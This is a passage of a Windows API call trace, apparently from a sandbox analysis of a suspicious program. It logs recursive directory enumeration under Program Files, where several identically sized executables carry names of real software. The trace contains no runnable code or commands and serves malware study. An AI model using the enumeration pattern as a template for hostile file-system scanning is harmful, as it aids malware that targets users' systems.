lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xada5b0a0, ftCreationTime.dwHighDateTime=0x1d56461, ftLastAccessTime.dwLowDateTime=0xf915a500, ftLastAccessTime.dwHighDateTime=0x1d5d03f, ftLastWriteTime.dwLowDateTime=0xf915a500, ftLastWriteTime.dwHighDateTime=0x1d5d03f, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="foxmailincmail.exe", cAlternateFileName="FOXMAI~1.EXE")) returned 1 [0258.164] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x964b20b0, ftCreationTime.dwHighDateTime=0x1d5ddb6, ftLastAccessTime.dwLowDateTime=0x44f86940, ftLastAccessTime.dwHighDateTime=0x1d56884, ftLastWriteTime.dwLowDateTime=0x44f86940, ftLastWriteTime.dwHighDateTime=0x1d56884, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="isspos.exe", cAlternateFileName="")) returned 1 [0258.164] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SDK", cAlternateFileName="")) returned 1 [0258.164] GetProcessHeap () returned 0x550000 [0258.164] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0258.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0258.165] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.165] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.165] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0258.165] GetProcessHeap () returned 0x550000 [0258.165] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0258.165] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0258.165] GetProcessHeap () returned 0x550000 [0258.165] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0258.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0258.217] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.217] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 1 [0258.217] GetProcessHeap () returned 0x550000 [0258.217] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0258.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0258.218] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.218] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0258.218] GetProcessHeap () returned 0x550000 [0258.218] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0258.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0258.254] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.254] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf09b00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf09b00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAClientPkgUI.dll", cAlternateFileName="VSTACL~1.DLL")) returned 1 [0258.254] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 1 [0258.254] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x498e4100, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x498e4100, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x7958, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProjectUI.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 0 [0258.254] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0258.254] GetProcessHeap () returned 0x550000 [0258.255] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0258.255] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557a0300, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x557a0300, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x11348, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAClientPkg.dll", cAlternateFileName="VSTACL~1.DLL")) returned 1 [0258.255] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 1 [0258.255] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 0 [0258.255] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0258.255] GetProcessHeap () returned 0x550000 [0258.255] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0258.255] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 0 [0258.255] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0258.255] GetProcessHeap () returned 0x550000 [0258.255] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0258.255] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0258.255] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0258.255] GetProcessHeap () returned 0x550000 [0258.255] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0258.256] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xdbcd6840, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbcd6840, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0258.256] GetProcessHeap () returned 0x550000 [0258.256] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0258.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xdbcd6840, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbcd6840, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0258.321] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xdbcd6840, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbcd6840, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.321] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f3c4110, ftCreationTime.dwHighDateTime=0x1d58136, ftLastAccessTime.dwLowDateTime=0xa057c20, ftLastAccessTime.dwHighDateTime=0x1d5a168, ftLastWriteTime.dwLowDateTime=0xa057c20, ftLastWriteTime.dwHighDateTime=0x1d5a168, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="3dftp.exe", cAlternateFileName="")) returned 1 [0258.321] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Primary Interop Assemblies", cAlternateFileName="PRIMAR~1")) returned 1 [0258.321] GetProcessHeap () returned 0x550000 [0258.321] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0258.322] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0258.348] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.348] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd106f400, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd106f400, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="adodb.dll", cAlternateFileName="")) returned 1 [0258.348] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c210700, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x523e72d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c210700, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x7a3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.mshtml.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0258.348] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8de7800, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5253df30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8de7800, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.stdformat.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0258.348] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e72900, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e72900, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatasrc.dll", cAlternateFileName="MSDATA~1.DLL")) returned 1 [0258.348] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 1 [0258.348] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 0 [0258.348] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0258.349] GetProcessHeap () returned 0x550000 [0258.349] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0258.349] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0258.349] GetProcessHeap () returned 0x550000 [0258.349] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0258.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0258.425] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.425] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1cf9700, ftCreationTime.dwHighDateTime=0x1cac649, ftLastAccessTime.dwLowDateTime=0x8a491400, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xc1cf9700, ftLastWriteTime.dwHighDateTime=0x1cac649, nFileSizeHigh=0x0, nFileSizeLow=0x3d63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_client.xml", cAlternateFileName="ASSEMB~1.XML")) returned 1 [0258.425] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="ASSEMB~2.XML")) returned 1 [0258.425] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc643900, ftCreationTime.dwHighDateTime=0x1cac666, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdc643900, ftLastWriteTime.dwHighDateTime=0x1cac666, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="ASSEMB~2.XML")) returned 0 [0258.425] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0258.426] GetProcessHeap () returned 0x550000 [0258.426] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0258.426] 